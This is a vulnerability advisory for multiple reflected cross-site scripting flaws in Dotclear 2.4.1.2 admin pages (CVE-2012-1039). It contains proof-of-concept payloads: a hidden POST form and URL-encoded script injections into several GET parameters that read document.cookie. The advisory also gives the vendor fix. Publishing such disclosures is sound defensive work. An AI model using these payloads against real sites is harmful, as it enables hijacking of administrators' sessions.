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Multiple XSS in Dotclear

Advisory ID:HTB23074
Product:Dotclear
Vendor:Dotclear
Vulnerable Versions:2.4.1.2 and probably prior
Tested Version:2.4.1.2
Advisory Publication:February 8, 2012 [without technical details]
Vendor Notification:February 8, 2012
Vendor Fix:February 9, 2012
Public Disclosure:February 29, 2012
Latest Update:February 13, 2012
Vulnerability Type:Cross-Site Scripting [CWE-79]
CVE Reference:CVE-2012-1039
Risk Level:Medium
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Dotclear, which can be exploited to perform Cross-Site Scripting (XSS) attacks.

1) Cross-Site Scripting (XSS) in Dotclear: CVE-2012-1039
1.1 Input passed via the "login_data" POST parameter to /admin/auth.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
The following PoC (Proof of Concept) demonstrates the vulnerability:
<form action="http://[host]/admin/auth.php" method="post">
<input type="hidden" name="new_pwd" value="1" />
<input type="hidden" name="new_pwd_c" value="2" />
<input type="hidden" name="login_data" value='"><script>alert(document.cookie);</script>' />
<input type="submit" id="btn">
</form>

1.2 Input passed via the "nb" GET parameter to /admin/blogs.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.
The following PoC (Proof of Concept) demonstrates the vulnerability:
http://[host]/admin/blogs.php?nb=5%22%3E%3Cscript%3Ealert%28document.cookie% 29;%3C/script%3E
1.3 Input passed via the "type", "sortby", "order", "status" GET parameters to /admin/comments.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.
The following PoC (Proof of Concept) demonstrates the vulnerability:
http://[host]/admin/comments.php?type=%22%3E%3Cscript%3Ealert%28document.coo kie%29;%3C/script%3E
http://[host]/admin/comments.php?sortby=%22%3E%3Cscript%3Ealert%28document.c ookie%29;%3C/script%3E
http://[host]/admin/comments.php?order=%22%3E%3Cscript%3Ealert%28document.co okie%29;%3C/script%3E
http://[host]/admin/comments.php?status=%22%3E%3Cscript%3Ealert%28document.c ookie%29;%3C/script%3E
1.4 Input passed via the "page" GET parameter to /admin/plugin.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.
The following PoC (Proof of Concept) demonstrates the vulnerability:
http://[host]/admin/plugin.php?p=tags&m=tag_posts&tag=[TAG]&page=1%27%22%3E% 3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

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Solution:
Upgrade to Dotclear 2.4.2 or later.

More information:
http://dotclear.org/blog/post/2012/02/11/Dotclear-2.4.2


References:
[1] High-Tech Bridge Advisory HTB23074 - https://www.immuniweb.com/advisory/HTB23074 - Multiple XSS in Dotclear.
[2] Dotclear - http://dotclear.org - Dotclear is an open-source web publishing software created in 2002 by Olivier Meunier.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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